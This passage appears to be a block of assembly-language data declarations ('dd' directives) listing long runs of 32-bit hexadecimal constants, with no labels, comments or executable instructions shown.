dd 0D1F9F643h, 8A2FDFDEh, 7559251Dh, 0E4899EC7h, 0EEB920ACh
dd 90DC5209h, 0E5C67895h, 0F0E90840h, 3B90B771h, 5BC2F201h
dd 9354555Eh, 82F2B4A4h, 2100BB5Bh, 0D4BE5651h, 918A1792h
dd 963EBD89h, 0B3350EABh, 0CD694572h, 0B9128C3Dh, 0C2345D12h
dd 46C93400h, 95B352Dh, 0B4E08F0Fh, 0E920387Fh, 28B55A79h
dd 24CC046h, 5E7259DFh, 0E84D9BA0h, 3B5B58E6h, 0FB9D983Bh
dd 0F85E563Ch, 0E0F65A07h, 59DD0C9Ah, 19E94123h, 93627217h
dd 653FC6A4h, 0FBEE99DAh, 2D2505Eh, 976885A0h, 8A0930F5h
dd 0AA11D215h, 50E7F801h, 57709D60h, 0B9175E66h, 0A3CADE13h
dd 58ADBBA0h, 40C65F61h, 69CDE243h, 0DAFB6AAFh, 2605EDDEh
dd 13F13132h, 0CB35CEEh, 81C8F988h, 0D1B515B0h, 0EBFF696Bh
dd 94CC298h, 0CCDD9989h, 0AAFDFE97h, 0D6B88291h, 7A9ACAB9h
dd 543A3573h, 4995EB13h, 0E1AE3513h, 3617C7E5h, 1E4B0E49h
dd 14255CBEh, 3110FB46h, 72EB5B28h, 73D6A9CFh, 0F297541Dh
dd 8FA5B553h, 0F5198EBh, 0F8FC720Dh, 1244EA07h, 153017Ch
dd 0E16A5F4Eh, 3E548061h, 46FE2023h, 0C4E230E9h, 0E0C1586Eh
dd 35E1D7A3h, 0DFDE411Bh, 6C87F15h, 0C0A140A5h, 0C05E801h
dd 0D0870F80h, 0FA0A126Eh, 3A1E3091h, 97C1A324h, 0EBA0385Ch
dd 2DAC3F20h, 0DD7C381h, 0B82F0C40h, 7D0C6991h, 0C059DC3h
dd 61D54718h, 0EBE50C87h, 4AE90802h, 2F9AE667h, 3776665Ch
dd 12195A8Bh, 0C1F9DD4Ah, 0C0F42A8Ch, 0F5879566h, 50685153h
dd 0F7C8F925h, 5716B4F4h, 64FFAF2h, 0B19760A9h, 2E722181h
dd 0F5FE01D5h, 5016D542h, 49CA818Fh, 37A22401h, 96898E0Fh
dd 69E14864h, 0AEDF22AFh, 0D356436Ch, 548B698h, 2975D10Eh
dd 0C41C4F1h, 0FC1E5E08h, 0BC5A840Bh, 25C1F051h, 84184357h
dd 0C400369Fh, 5AD02103h, 0B819B305h, 0EA094B41h, 0A6BA18D1h
dd 7D4A96Ch, 0C57F8E6Bh, 8D270BE3h, 913D8859h, 8403DD0Dh
dd 29455911h, 8821CB6h, 0F84B3741h, 0F1F8279Dh, 54703E04h
dd 90AA4112h, 4A09769Eh, 10DE7E60h, 0C117C959h, 980C0E2Ah
dd 95E8821Eh, 5831765Fh, 84584A64h, 0B598FBCFh, 0BFB9582Ch
dd 0EC7813DEh, 38FE4F82h, 0A32768DDh, 7AA17E23h, 4B7A070Bh
dd 0E6064125h, 0C6E027B0h, 1A921DD1h, 0C99EE8B2h, 0A2295399h
dd 5B4CA6E2h, 0F16F2927h, 6ABC08A6h, 0BA40BC28h, 9F08F65Fh
dd 4E461A02h, 0BEBC0A7Dh, 12E3610h, 25160CB3h, 625BC26Dh
dd 0A23DD844h, 8F24BB16h, 0CB66D4D9h, 0E09CE90Bh, 7E20285Ah
dd 0C9B10F4Ch, 12E6D928h, 9C9E6F1Fh, 1723EB0Fh, 688E09B6h
dd 0A55B2A2Ch, 3B45BA4Dh, 730693CBh, 606D252h, 0BF1C9F8Bh
dd 620C3061h, 0B70F80CDh, 59F368C8h, 6F8D0E4Dh, 4ABC2B39h
dd 9420F4A7h, 2A40815Eh, 0CC63A6D4h, 2827C308h, 7F2425EFh
dd 0A8883F5Bh, 6BE97804h, 294F2A9Ah, 2F20A2A8h, 9F585062h
dd 0E0E655A1h, 4AB4DE59h, 45846FADh, 0F3026914h, 92325EA6h
dd 50338702h, 924CFBCBh, 7F5B6813h, 901C72A3h, 86189603h
dd 41A106B6h, 5A233CA4h, 356277AAh, 9A30D1ADh, 0B05D686Ch
dd 9A5AEDE9h, 0D27B6Bh, 62D7F38h, 350F335Dh, 3B3A7B00h
dd 424C0571h, 0C0904F0Ch, 0E9FD2190h, 60BE1131h, 32DCC509h
dd 0FD0ED2DCh, 0C8D6116Ah, 0AE2BA551h, 700B841Fh, 812A74EFh
dd 0C92D7DF7h, 4808203Bh, 2CAA0195h, 4ACD5925h, 0E804D8C0h
dd 0E8B30553h, 0BFB9CB80h, 0B2523980h, 5EE9713Fh, 0C05A8ACDh
dd 88F1B652h, 0F9E988F4h, 32EA2F4Ah, 2977DE58h, 0CB5A5CF6h
dd 3C4C0F4Ah, 7D28209Dh, 254A7C6Dh, 0C6D17401h, 0E92A0CA0h
dd 0B87284BFh, 2EC37312h, 90E05BBh, 90A0E9DFh, 0D900588h
dd 0B7811C3Bh, 810439DCh, 206EF38Bh, 0D960F7DAh, 6A0E9810h
dd 24C14822h, 84AB277Dh, 2A3A9711h, 86011BD1h, 9306FD2Ah
dd 691264FDh, 0A435BC82h, 0DEE83584h, 68D9BB4Bh, 407F67F5h
dd 236CC52Eh, 1494CBDh, 5B08405Ch, 291F4593h, 9E0B4DE6h
dd 0A1167D13h, 0FEC3F710h, 32881877h, 8B570EA4h, 5455DD12h
dd 0C3719621h, 0B603CC3Eh, 6026099Dh, 124E2DE5h, 5369C943h
dd 570F050h, 0AF8AD4BDh, 0A194A05Fh, 904DA443h, 70551EBh
dd 0EF48C42Bh, 0F93C1233h, 4E380D84h, 1859C4A4h, 6749DC0Fh
dd 71A7A5B1h, 0E7D50805h, 0CA3F712Dh, 0B8DB1278h, 0BFE8D27Bh
dd 2AF121B1h, 49F24BBAh, 4C31ED80h, 0C1E8161Ah, 0D7B2584Ah
dd 6FFD5925h, 9CC70BA8h, 0C172E0DCh, 9FA5858h, 95C55355h
dd 5A12D384h, 8D040801h, 0A783FCADh, 95C2EE5Fh, 24AD0A53h
dd 0F2BDEE95h, 0FCE0B88Bh, 5DEEFE01h, 0B68B66Eh, 803457C3h
dd 0EFCF3440h, 22370105h, 6A12AA79h, 9F7DFF4h, 0EBC17BEDh
dd 0CF27C05Fh, 0BD0E029Eh, 2D07E926h, 969555h, 0EF685257h
dd 3625A539h, 72D45Ah, 0C70AE7A7h, 0EBBF77E9h, 0A8C5B13Bh
dd 5A8ECE6Bh, 5A048DE6h, 0AF31E468h, 1C04B30h, 415C5837h
dd 0C710BC04h, 0C5F2BF67h
dd 16CB8717h, 198AFA9Ah, 0D2962C59h, 73786463h, 2D5AC358h
dd 0FFC0EA9Bh, 7AE5E1F2h, 7B9DA517h, 9558AA0Ch, 0FECB4359h
dd 6AE98463h, 8E4AB5F4h, 0F61217EBh, 16E98EB4h, 0BDFEEAB2h
dd 7705CBA0h, 9D1252E9h, 0EE8EF506h, 0E9CE0168h, 8E7A8228h
dd 0C06809FFh, 9ABE637h, 986655Ch, 0F712B9E5h, 0B02853FAh
dd 23053554h, 104869Ch, 0FD28C1Ch, 2DEA60EEh, 51625842h
dd 2395DCh, 0F180D9F6h, 47069FFDh, 1AB13052h, 0ACB1C12Eh
dd 0B40E8EB1h, 66E60092h, 24F02058h, 1710525Ah, 77DDF9AFh
dd 54D6E832h, 18A6E159h, 588BB838h, 5C5690FFh, 68530F56h
dd 2D2962A8h, 0E2E42F82h, 440AF409h, 4CBA3090h, 4FCC2509h
dd 397AF560h, 2FB5335Ch, 5E77869Bh, 0B41020D4h, 804FFAF8h
dd 0C44777FBh, 14CB0E6h, 9505D003h, 0E134D22Eh, 0B23A03E3h
dd 0D83FCBDCh, 184B7703h, 3E880E8Fh, 9C26EC80h, 2809EE51h
dd 0D8E5DD57h, 92417888h, 7BCDA9EAh, 5BEB2664h, 0C2BAF8BEh
dd 0F31C6668h, 74E904A2h, 4EB1307h, 38866073h, 1FF77D8Bh
dd 4BD4F6E6h, 0B9901E51h, 0BA055205h, 3A91247Ah, 4DAE9E01h
dd 96856537h, 81F508CDh, 6DF0440Ch, 754607CEh, 0C663B967h
dd 57F5F920h, 91ED46Eh, 347E5F08h, 0A9F5E951h, 0FF647A92h
dd 6857AAC0h, 0F8765E4Ch, 107BC48Dh, 0B40EAC16h, 0F35E0DFAh
dd 0ABD90123h, 0CDAC2B92h, 0F3A9EEB4h, 2BCE8D86h, 3B256810h
dd 161FE90Bh, 88F60E94h, 0B1011B94h, 66C8282Ah, 7BD55A20h
dd 0F9CEA8E6h, 0B65F975Fh, 0B3C15C4Ah, 0ACF8A689h, 41CCD1BFh
dd 7B148D68h, 0EC210AE7h, 71858A89h, 8FF82586h, 0B33B310Fh
dd 7C59E621h, 0AD08951Eh, 0FDBF24h, 0F380DBF6h, 8EBC039h
dd 2CAC0CC3h, 0E9D88056h, 0CE7D5A4Ah, 0F3646070h, 90E17895h
dd 90D4B785h, 42963D07h, 0EF14DE9Eh, 7FEC4808h, 7EB3025Ah
dd 4200082Eh, 0D60B9915h, 0A58A89FEh, 0F8E62520h, 1158A914h
dd 2FB5757Ah, 0FEAFBC3Dh, 2A7EBE34h, 0BF8163CEh, 5806F67Ch
dd 16B9D329h, 0BB47F9E9h, 237173CAh, 0FCA5FEEDh, 0AA0513B3h
dd 55D63EB1h, 0CB90E5D8h, 45BB8888h, 56143A0Fh, 0BF1A7D4Bh
dd 0F763FD46h, 0E0B9CABh, 0D8DBF75Fh, 376825BBh, 230209FCh
dd 404F1A05h, 7D433046h, 978B907Dh, 99A0C97Ah, 49173C39h
dd 2FA2969h, 9E2CEFC8h, 0C96E4DFh, 3B8873B3h, 8C30E910h
dd 89C2DDD3h, 0F87412C9h, 2755B831h, 0EC30EFCh, 0D7BFE4F0h
dd 63335992h, 0D9D193DAh, 9F2847C9h, 0FCCCD4B7h, 4C2F5DEDh
dd 0E951F076h, 88425919h, 0CCFD3076h, 74B5BE0Ch, 0E07E4C31h
dd 0DFD3789h, 0F8C99700h, 0BEE9F209h, 0CD8EA8C7h, 0A5D2BB0Eh
dd 0E1030153h, 15AD789h, 9D647B18h, 44FB2942h, 0E90804D5h
dd 5AB0B8A5h, 0C8C4B3A2h, 4D680284h, 62405C12h, 70B351Fh
dd 59609117h, 98163964h, 150A55ADh, 4C1BE97Eh, 40B95C07h
dd 0E6B696ABh, 8A310269h, 0CD2902EEh, 7720E944h, 56619530h
dd 0D081D32Ch, 4410E304h, 0FC4AFE35h, 85062F44h, 0D9EE89A2h
dd 5C9D009Fh, 6212204Ch, 707D601h, 3127231Ah, 0D1BEEDE3h
dd 53FACEF9h, 0BC5A1318h, 1E40E644h, 0F1FE7F98h, 7E295D34h
dd 520B5010h, 658AD3F5h, 0ADCBE90Bh, 0DE96B2DCh, 0AA8457BBh
dd 93A04779h, 0C49CB2h, 0B753C4FEh, 0FC4B204Dh, 2A05F165h
dd 0CD2CE30h, 7CFB81C3h, 285B48h, 0F00EFA4Ah, 4E036CE9h
dd 890F1240h, 0C377C722h, 183B1C07h, 0E5311556h, 0F7C62FD8h
dd 4B589818h, 42F250C0h, 20E94A87h, 2D059909h, 296660F0h
dd 0E9C21AFCh, 7957B5BCh, 313A0259h, 51552951h, 0BAEE1DBFh
dd 0E9450702h, 175A68BBh, 5DE268BFh, 3C8AF655h, 3377F534h
dd 51B4ED83h, 0E5052DE6h, 159527B9h, 0A8FBF31Ch, 0C65A8306h
dd 9E3514BBh, 282E3D31h, 6AFD7ADDh, 91C9B627h, 74D53BC7h
dd 3CD68EAh, 505A0940h, 90CA8158h, 50DF40AAh, 2CCDB805h
dd 8C0C69ADh, 25C3599Ah, 78820603h, 13D57C5Dh, 2BC0C021h
dd 49453F86h, 49C16118h, 7D4F2768h, 7149AC25h, 8CAFDD51h
dd 0C4F1992Bh, 0DE1D4A5h, 0CB72DEF5h, 0C18B963Ch, 65FD837Bh
dd 0E7602C94h, 0B8615902h, 0CA1F2C4Bh, 0AD087AFEh, 57520B1Eh
dd 2BFDA439h, 0DCBE2413h, 5BD489EEh, 61070816h, 980D0429h
dd 0FF37AAFEh, 0CABDD9A5h, 0BDA7D73Bh, 0FF9504F8h, 56B72ABEh
dd 55E9705Eh, 6AE2154Ah, 4E5CE9A0h, 596ABBBEh, 53BBBE47h
dd 95E2A577h, 0D0FE5E57h, 5B95E4A8h, 5D5F89C8h, 6B99F9F5h
dd 57F2E05Eh, 938B451Ah, 0B525EB44h, 87B8699Ch, 0A8FB22E0h
dd 2F5EF59Fh, 0DD60E5C1h, 0D49D11B6h, 0E8206199h, 513D6F66h
dd 0EB70C461h, 1643B658h, 0C48CEF3Fh, 24334B75h, 5F962184h
dd 50222D17h, 2B4F5070h, 9F93EEFh, 0D9362068h, 0B09A92EAh
dd 0ED3280BBh, 61E6069Bh, 0CAF9B69Dh, 48622ECFh, 1361063h
dd 1EF0CD81h, 8DC8420Fh, 195A6026h, 0AC06A5E5h, 77253AB0h
dd 0E4B376E4h, 946B21D2h, 71517492h, 2EB23572h, 0F1F75021h
dd 43C3DFE9h, 4C34FF14h, 0BAA813Fh, 66D5FEA1h, 0AB512AF5h
dd 56D124D3h, 1CC5016Eh, 352918BBh, 1C0806D6h, 18E72DB5h
dd 0E9F3426Ah, 90F5469Dh, 0BC978425h, 39B13EE5h, 2A29315Fh
dd 0BD809EACh, 41A93F70h, 0AA50E8A2h, 80B6581Ch, 0F1374E3Bh
dd 281FC390h, 648898F3h, 0BBAC3EB8h, 0F0923D87h, 0C7A7A02Ch
dd 76FC093Dh, 8DF7007Dh, 4776EB79h, 7C9C6EE9h, 0E567B20Eh
dd 4592D0B4h, 451241C1h, 29305C01h, 93B41061h, 44F7B825h
dd 9FF9D78h, 0FC9F09DFh, 0C331626Fh, 6B7F71C1h, 80C03E09h
dd 3DE680A7h, 7FC672FEh, 9C5A25CEh, 1F8BAF7Fh, 0F3AF2D66h
dd 2317093Dh, 6390EA77h, 7985CC33h, 0D7FF2BC4h, 5452FC9Fh
dd 0C1FBA264h, 5B56F8AEh, 2B9E2DAAh, 5F8494F2h, 7C6802FEh
dd 97F5F972h, 0CF85FAEDh, 5F8EB7BBh, 3A27038Bh, 60116868h
dd 0E13F1B82h, 0F724C580h, 0F6E74AA1h, 4E2F48B0h, 0CA318EFh
dd 39246CCCh, 56166D43h, 0CD334F9h, 83659D43h, 336A02F8h
dd 0A1127A86h, 3C7864E2h, 0EC58F347h, 5CA00C9Eh, 3816EA4Fh
dd 8305034Ch, 0CDFFB11Bh, 80642BE9h, 0A683C8EEh, 53B4644Ah
dd 26D70EF2h, 0CAC00729h, 0C775F9Ah, 1BBF570Eh, 90F9E4Ah
dd 220373FAh, 0EC2CC0B8h, 292FDBFCh, 53831CDBh, 10354D68h
dd 4BF87DDDh, 0E2EF6612h, 0BDBDD38Dh, 0D8038304h, 0F4E4FA57h
dd 0FD9805D9h, 4EF8987h, 0EEAD5C5Ch, 0BED297B2h, 25E95E8Ch
dd 5048923Bh, 689F97C0h, 9FA8AD13h, 0E9895373h, 0F7DBAB40h
dd 74A7C4E7h, 0BCD92D2Ch, 8527316Ah, 0CC1F7CFh, 0D86AD45Eh
dd 24A1566h, 0E1BAF035h, 84B87B55h, 0D5FDAFE4h, 9D400300h
dd 0B591E973h, 0BD01FB95h, 220B15ADh, 0DFFC1AD5h, 0E0826082h
dd 284594DDh, 2F895854h, 38793F32h, 516EDB89h, 1F7DA82Ch
dd 80513E6Ch, 5FE3CE0h, 0F094959h, 0A3F8E48Ch, 7A33D85h
dd 88E8B646h, 0E92994F4h, 3CEF0215h, 8F5D9A68h, 8C70AFFh
dd 0A3099A24h, 0DC3BDDA2h, 759E0D61h, 8B2AFEE5h, 0B4500FD2h
dd 0E9CCC157h, 346A845Bh, 2DA9BA96h, 0A8E1C316h, 6583C5F5h
dd 2E84DAEh, 76764706h, 535E5D01h, 0FC8079F9h, 58128D3Eh
dd 0D6EAE90Bh, 4ABB7DFEh, 0EFBD16E6h, 505200F3h, 9E2877B8h
dd 0A4B86A5Ah, 117B6478h, 48FAED05h, 13EC20F9h, 615AE168h
dd 3BB4AE6Bh, 4F680970h, 2D3D9259h, 0FB5A7A74h, 0CD4C8290h
dd 1BBCD2E3h, 342A1C7h
dd 0F838410Eh, 4D388439h, 11A8C5E9h, 0BD37FF4Eh, 5C227C3h
dd 236BB18h, 0E33A81AFh, 426DAD9Ch, 0AF6755Bh, 732E680Eh
dd 80B9A163h, 32E93EF5h, 0C6C1750Dh, 0F69ED0F7h, 58B455h
dd 880FCBFEh, 7AF12246h, 68F0BAA8h, 50912A36h, 5A4323ADh
dd 75FCFDE9h, 9F0BCA40h, 0D15D8F09h, 0DDCBB0Ch, 76E9030Dh
dd 6A1F2574h, 5B5DDDDFh, 50610C10h, 251706B1h, 3FB86A11h
dd 0CA10950h, 4D69C97Ah, 6E12840Eh, 60A89385h, 28F0092Dh
dd 80914A20h, 301BF5BDh, 0EA0C25D2h, 0D626DDF7h, 0ED808F89h
dd 6D307666h, 81FD4C01h, 275F0840h, 135F07E9h, 0AFD0C263h
dd 0DCB7ABA2h, 0CD772728h, 0C47D1239h, 1634BC48h, 61AB315Dh
dd 6BFDE9AFh, 33B5CD16h, 0D8282CE5h, 5555316h, 0EB582807h
dd 72AA2B00h, 6229967Fh, 25529CFDh, 8FA25C0Bh, 611E2E26h
dd 2BA5C45h, 59D08A7Eh, 2F7F562h, 51FAD461h, 0C68B692Ch
dd 0BF2E2C94h, 0C1ADC0B3h, 916AD51Dh, 141E081Ch, 631700EBh
dd 521C6064h, 4295BA01h, 46E9578Fh, 8AC7122Bh, 53BB5E74h
dd 0CEF900F0h, 7E184380h, 488AFEC1h, 72311647h, 0A84F0878h
dd 4B20E67Dh, 7B31A7DFh, 0AAC0EE5Eh, 2728D8B4h, 2C5F58E6h
dd 4B2AC661h, 0BA837453h, 0FE0225DCh, 4D7E952Ch, 0C19B8358h
dd 5225C1D7h, 48C8F60Bh, 1BC06E36h, 2E4573EAh, 0E2C11658h
dd 0A2FE0104h, 0E752D61Ch, 240502FBh, 0B4156A90h, 0E03B70A1h
dd 0FA99F96Ch, 0DF396D0Bh, 8DCF3B30h, 0B24764BEh, 0AA89C089h
dd 0BD8BB2EAh, 76F00158h, 0AD574F28h, 0C7748617h, 0C93622F8h
dd 0D2A09226h, 86BCB6A3h, 0D03CCA51h, 66410789h, 8B6BD85Eh
dd 0E5C02EC1h, 86205303h, 12C76380h, 0C3005EFh, 3075064Dh
dd 3172C9FDh, 0F594AA1h, 0ACF16AB7h, 1D0C4BD5h, 1CFE8E2Fh
dd 0EAD986DFh, 3CF4B3E6h, 0BF4916ACh, 9783DC28h, 0B08BB9F3h
dd 971A3699h, 9FDE96D5h, 68F978E8h, 83991AE2h, 12FC5094h
dd 23A330B3h, 1E55E305h, 2DE6C00Ch, 32134B39h, 6E03D2F7h
dd 0E1360631h, 9C20D729h, 0C83581CEh, 40060D22h, 0BD138F0Fh
dd 1E5D9D16h, 0F15A5FEDh, 5068B43h, 0BFDB80F7h, 5CA7555Dh
dd 6F06AC71h, 0C1C6E40h, 99C89D00h, 53652D6Dh, 1510A15h
dd 2F0705F8h, 5516A066h, 41B1AFE9h, 0AB936623h, 8B2CE19Ah
dd 315F85FAh, 9708E2C5h, 4F5683E0h, 0F4C5AEBEh, 3B3FB5AFh
dd 3A5067ACh, 0B35E0FDh, 4E9C15Bh, 0F780980Eh, 1AD9F22h
dd 2D5FCB5Ch, 0B5F8437Fh, 0DC841DA9h, 2779E3D7h, 444BF458h
dd 0B9D3D2E8h, 96B5D4E6h, 52562598h, 95A33C7Dh, 0D77AD1FCh
dd 0E927A2C6h, 99C039Bh, 0DBC0B9C6h, 6176E224h, 0EE800A8Dh
dd 0FCF431BAh, 5CB761E0h, 12834AA7h, 0D3674478h, 0FE5F0BA7h
dd 5EF77055h, 54DD397h, 0EB1C4709h, 0ACD7C78Ah, 9FB755C1h
dd 2894B028h, 0DD0BE7E1h, 4E5F60E2h, 2160BF49h, 6C251735h
dd 2CF77C57h, 0FB20092Ch, 72C2EAFh, 5D4A1D12h, 0F8AA9AD4h
dd 0DA8916E0h, 87FC770Dh, 0A684370h, 2DC25B95h, 669B09F9h
dd 81619844h, 927A3D8h, 40283E20h, 0DB5CBECCh, 137E3DB4h
dd 0D998E80h, 4AF4A76Eh, 4CC425E2h, 26A7FA55h, 0A4189394h
dd 2D5A72CBh, 0C75B0101h, 0BB840F33h, 7A288E65h, 66FC2082h
dd 0DBE477F6h, 0B08050D3h, 0EA5866A6h, 335978F1h, 4416AEC9h
dd 22CDCB83h, 5D7A5859h, 0D4D671E7h, 0FE5BFAE9h, 57293262h
dd 0E9C154F4h, 533FB1CDh, 0F032007Ah, 5B7FE030h, 22276B91h
dd 3E30D23h, 510013E8h, 0D6686C9Dh, 0B75CB0h, 872D2C98h
dd 529ADDF5h, 921E0502h, 52810FA8h, 5BF800E8h, 4BBA6660h
dd 0F5785079h, 0A7AFC0BDh, 29ACBD5Dh, 0C5000F2Dh, 0E1BFCF83h
dd 4860F9A6h, 1E007498h, 8A12C9BDh, 0E0C29BD7h, 0F7A0767Bh
dd 50F7D4E3h, 0BE51C25Fh, 97411800h, 33FF5829h, 0F5B5038Bh
dd 5F07FA2Bh, 8360F2BAh, 0DE2C2FC8h, 4025165Dh, 19A0B3Dh
dd 89603C2Bh, 0BF068D85h, 6140F332h, 4E1C1666h, 0D752007Dh
dd 0A9852957h, 8F262560h, 48A0B403h, 17E7583h, 5EEFC280h
dd 8F10E94Bh, 74A6FD9h, 3BB0F441h, 20760AEh, 7301EB40h
dd 0D177C061h, 850F04CAh, 0BEFF979Eh, 5A6E17F8h, 0A3DFED00h
dd 0A666FD3Ah, 3D8F0060h, 524DB3FEh, 0E400A7DCh, 0C4367DB9h
dd 96CC4Fh, 79E6F729h, 9025C5D2h, 0DDFAE40Eh, 0C089C09Dh
dd 7C9BD676h, 0B9101D3Dh, 0FD2880C3h, 0DD0855C5h, 50A42531h
dd 45AA799h, 0B1D20CC3h, 6C271075h, 1EC5F85Eh, 1E0F75Ah
dd 6DB02721h, 28A1FC9Ah, 9903543Ah, 662944D9h, 0AD44D508h
dd 0B422844Dh, 3D324242h, 8479C448h, 44493722h, 0AA00821Eh
dd 0E26DDA7Bh, 4F4BF24h, 962985FFh, 62C5C0B3h, 0A30B2086h
dd 0DAA147h, 95843101h, 6B78043Fh, 0C0628C32h, 5C2B14B4h
dd 4DDD900h, 0B29A5831h, 2E57004Dh, 0C70A28Ch, 0E3EC54A9h
dd 42DD1D00h, 0E2863303h, 0C36900A3h, 728D3E24h, 0F0009A59h
dd 18C61498h, 0EAB82F46h, 5F780030h, 0A0490771h, 751D2124h
dd 58070E3h, 38DA3F8Dh, 0C00D0098h, 0EA29178h, 0EE003B53h
dd 56E2DA9h, 76A8F93h, 635B620Bh, 2444309Dh, 12396B8Ah
dd 0C8DD80BCh, 0A01551BAh, 0FD290003h, 5D45F280h, 0B97E69E4h
dd 0E49B1A28h, 9C521EC0h, 31B5AF0h, 80F85545h, 4D90CF2Bh
dd 5E01E397h, 6DD24117h, 96202A6Fh, 6C4300B8h, 1F98A040h
dd 307B6B2Dh, 99F0B500h, 87F22B02h, 7A3500A4h, 76250463h
dd 9700F44Bh, 1F5075B0h, 0FE0A0503h, 5D2600CDh, 1539D49Bh
dd 1900A7B5h, 0C0ABB6F6h, 70D7857h, 0EBF36988h, 9055C042h
dd 0EE0074D0h, 0DA29924Ah, 135E76C3h, 0B217D9h, 5B1D4912h
dd 0AD7DED33h, 4F77CE00h, 9F7D7AE8h, 8F6100F6h, 0F416D6D7h
dd 580ACB08h, 844E8A29h, 0F6A59F80h, 0FD67C63h, 34E1C99Eh
dd 0A84BAF20h, 7F001AD1h, 5EC59ADAh, 0A6F291h, 0FF3D7B0Dh
dd 17C7C438h, 0EF519B00h, 157973ACh, 0AF8E221Dh, 0C269E13Eh
dd 7148E700h, 0D615E526h, 498D7000h, 39A347F6h, 4BC90063h
dd 0A11BC5BBh, 0B492ED1Dh, 0DD3F587Bh, 1CC8E7h, 3ACB944Eh
dd 38433D6h, 0E30A16E2h, 66C849F8h, 80006740h, 86A7DBFFh
dd 1AC0F2Ah, 7EA5EB04h, 7023BF5Fh, 8E726AFCh, 24EAAE00h
dd 8345D736h, 0DB970C65h, 0A7307C75h, 0BBE46000h, 66A0AD1Ah
dd 2AF11954h, 103490E9h, 606DCAh, 38A34993h, 3D8903BBh
dd 1AD6F606h, 480186h, 98C671AAh, 8DEE194Bh, 740F59E6h
dd 4029C094h, 9D44E840h, 24F77BBDh, 80E1B3h, 8AFE34C2h
dd 61054A91h, 0C8EFAC24h, 0CCB32E80h, 0BF5A050Fh, 14A8D9ADh
dd 7304CC90h, 0C18A6582h, 0DC67CC92h, 5800AE11h, 8E7AF56Eh
dd 305F6BD8h, 2914D259h, 3700ADBCh, 83CA6350h, 7552CE1Ah
dd 8154046Ch, 80341C95h, 5F45AAF8h, 907A3Bh, 0B23B174Dh
dd 1FAA192h, 0FDF46730h, 0E4518E8Fh, 8005365h, 0C1C8C224h
dd 1D1D38B5h, 0C1270123h, 6C8A2892h, 83A88099h, 0D57546F3h
dd 0C0663E91h, 17035207h, 1161EFA8h, 80BD33BAh, 0BF8F5D30h
dd 0C3BCF52Ch, 6F751F10h, 4E8B1590h, 0C4C35500h, 2C789D11h
dd 0A79807E5h, 2826D0h, 0F97F132Bh, 7B182403h, 0E84CA1EBh
dd 0B8D2ABB8h, 7C4700B1h, 646CE5F1h, 3A009A5Ah, 0DA459642h
dd 3C759Dh, 286D4CF3h, 0D9F24E94h, 0D5744700h, 0BCBF22AFh
dd 0E83330A1h, 6C8BE2DCh, 257F3EFAh, 0FCEF9751h, 0E548BB79h
dd 1F740314h, 0D06F13D1h
dd 4C0BA0A6h, 6E01886Dh, 97489616h, 0C29B024Ah, 0A0DC8A54h
dd 0A009E800h, 8981AAh, 0C9A51BAEh, 254F43E7h, 650E9A00h
dd 16B1CBF8h, 5A5E0014h, 682C1FE8h, 920085F9h, 8AFAF01Bh
dd 6AE68Dh, 659B1008h, 2F8B6E76h, 3E75E101h, 900F6B69h
dd 0FE87C8F5h, 30368AE5h, 108D6895h, 0DF49EB03h, 0E8B35Eh
dd 79827FC8h, 0D2D9611Fh, 732DE600h, 875070BCh, 1C7120h
dd 3EE2C6DDh, 0E6D8E2Ah, 84A4580Fh, 371B20D4h, 82EA40h
dd 0C52086Fh, 8AEC8F1Ah, 0D2007498h, 7A368871h, 0C001EF7Fh
dd 0FE35ED78h, 61CC304h, 2A000BEBh, 0C23D3EFCh, 54D0F18h
dd 2EA0C6F0h, 8F63AA65h, 7900D576h, 991DABB7h, 3D71062Fh
dd 0D007238h, 0ED496C0Bh, 50C05903h, 0B8AE267Dh, 2D8700ADh
dd 0C0E9727Eh, 0E8070B6Bh, 4295A362h, 40CD3E50h, 0CB090777h
dd 2493325Fh, 2B94C096h, 0F401EDF1h, 5D1362D8h, 2D880BDh
dd 0EFFCF517h, 0F66008Bh, 7453A59h, 30F4E9D2h, 0B8B46B00h
dd 5678078h, 0E8D86063h, 36AF188h, 894964Ch, 47BF26Dh
dd 0D03D93AFh, 3C382F6Ch, 0A64E1100h, 0EF5819C4h, 2E3600F1h
dd 65D19AB8h, 4648B4B3h, 0E6B71F58h, 29E73480h, 7B5244h
dd 0B8C89513h, 0ED414EDCh, 787F3902h, 0E08CFE3Fh, 9010E320h
dd 7D600F0h, 5BA96FC4h, 0E67E757Bh, 639CB7Eh, 8BA400A2h
dd 0F6521307h, 6C5F4CD1h, 12FC0071h, 3282A73Bh, 2E0E978Dh
dd 23095D87h, 3C64FA4h, 740C9E56h, 6FD0842Dh, 0D80507D4h
dd 1EC29D76h, 0B8082783h, 99577Eh, 7AADD7F3h, 9381FD6Ah
dd 1EF96300h, 3C279F1Bh, 244D0F53h, 4A603DFBh, 0D39996EBh
dd 0DCB61500h, 36531707h, 3FDB895h, 0B0DEF947h, 0C053DB14h
dd 68A207E0h, 0E1601C9Bh, 0D3590B25h, 0E60C0038h, 3BB4D756h
dd 0CA004E78h, 8D1D81C3h, 1ACEA11h, 0F22C38C0h, 0C8C13A76h
dd 0A3030956h, 4F0DEBD5h, 60A9AABDh, 0EF5EC4h, 0C6294E37h
dd 3B063E3h, 12DD4600h, 3E413294h, 679F3DCAh, 4C961D80h
dd 0E140ECD2h, 2737FB00h, 8DDF487Eh, 0E6D02486h, 20990F74h
dd 66C402B3h, 7C630301h, 0E53F56D8h, 0C2AF7F00h, 55C66554h
dd 2090F1h, 7AE4D5BFh, 3B99C825h, 18F0FE37h, 673EA730h
dd 9EC70324h, 793FB166h, 21D44AF8h, 510BF200h, 6C4BAE46h
dd 12FF01EEh, 0A1984289h, 99A7FCEDh, 0EA90DDE4h, 20822F25h
dd 61893B14h, 154707D1h, 90A1BD2Ah, 39E4E074h, 1490F500h
dd 8B78B19Fh, 23E31E68h, 4CE6B2h, 122EB72Ah, 0C890C6B0h
dd 0A046A200h, 7E5F3397h, 0FC1649C2h, 0EA4B9C00h, 0D065D2C0h
dd 390150Fh, 84280026h, 0B068C4B8h, 6AA4CE8h, 7412D000h
dd 85FCBF0Ah, 22162C98h, 4B1D9246h, 58B0E046h, 3E2FC19h
dd 0B36C2DA3h, 0E6E9751Eh, 0CD18DCF0h, 0C2E39600h, 0EFDC492Eh
dd 4808285Dh, 9A6200A0h, 0EFBE0AFh, 522E9157h, 5900A629h
dd 900C222Fh, 0F09033h, 3E867605h, 71195F16h, 0C196DE0Fh
dd 550E67E9h, 396CAD80h, 4766004Dh, 17CEF8B2h, 8902A74Bh
dd 5DF68C35h, 8281E0B9h, 55C20326h, 0C571A37Fh, 0B3E0A6A3h
